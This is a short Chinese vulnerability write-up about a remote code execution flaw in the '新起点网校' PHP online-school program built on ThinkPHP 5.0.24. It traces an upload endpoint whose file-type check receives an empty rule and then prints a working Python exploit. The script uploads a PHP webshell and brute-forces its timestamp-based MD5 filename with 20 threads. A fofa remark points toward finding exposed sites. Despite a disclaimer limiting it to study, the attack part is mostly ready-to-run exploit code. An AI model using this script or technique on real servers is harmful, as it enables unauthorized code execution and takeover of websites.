新起点网校php程序前台rce
只作为学习用处,未授权测试属于违法行为,请勿未授权进行渗透测试,切勿用于其它用途!
宝塔一键部署 新起点网校
程序为tp5.0.24版本的程序
直接看代码
问题出在api模块下的uploader控制器的uploadfile方法
跟进move方法
跟进check方法
这里发现是没有传rule进来的 且默认值为空
将rule变量打印出来发现是空的
那文件合法校验也就没起到效果
get访问这个控制器提示这样就存在漏洞
直接构造上传
上传成功 我们看到他的文件名命名方式是浮点数的时间戳的md5
写个烂脚本爆破一下
#!/usr/bin/python3.6
# -*- coding: utf-8 -*-
# @Author : Ma4ter
import requests
import time
import hashlib
import threading
import queue
q=queue.Queue()
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
url = "http://10.35.35.34:85/api/uploader/uploadfile"
files={'file':('1.php',open('shell.txt','rb'))}
timer1=int(time.time())
res = requests.post(url=url, files=files, allow_redirects=False)
def attack1():
while not q.empty():
i = q.get()
for tt in range(0,4):
timenow=str(timer1-2+tt)+f'.{i}'
urll=f"http://10.35.35.34:85/upload/file/20210413/{md5(timenow)}.php"
r = requests.get(urll)
if r.status_code == 200:
print(urll)
with open("test.txt", "w") as f:
f.write(urll)
else:
print(timenow)
for i in range(9999):
q.put(i)
for i in range(20):
t1 = threading.Thread(target=attack1)
t1.start()
fofa:
用的人比较少且厂商还比较小- -